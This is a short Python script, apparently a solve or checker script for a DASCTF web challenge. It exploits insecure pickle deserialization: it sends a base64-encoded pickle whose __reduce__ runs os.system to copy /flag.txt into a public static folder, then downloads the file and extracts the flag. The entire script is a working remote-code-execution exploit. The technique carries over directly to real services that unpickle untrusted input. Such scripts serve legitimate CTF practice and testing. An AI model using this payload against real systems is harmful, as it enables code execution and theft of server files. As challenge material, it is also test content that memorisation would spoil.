#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
import requests
import pickle
import base64
import time

HOST, PORT, FLAG = sys.argv[1:4]

def exp(ip, port):
    url = f"http://{ip}:{port}"
    
    class RCE:
        def __reduce__(self):
            import os
            return (os.system, ('cat /flag.txt > /app/static/flag.txt',))
    
    payload = base64.b64encode(pickle.dumps(RCE()))
    
    r = requests.post(f"{url}/import_order", data={"order_data": payload})
    if r.status_code != 200:
        raise Exception(f"Upload failed: {r.status_code}")
    
    time.sleep(1)
    
    flag_response = requests.get(f"{url}/static/flag.txt")
    if flag_response.status_code != 200:
        raise Exception(f"Failed to get flag: {flag_response.status_code}")
    
    flag = re.findall('DASCTF{(.*?)}', flag_response.text)[0]
    return flag

if __name__ == '__main__':
    assert exp(HOST, PORT) == FLAG
    print("Pass!")

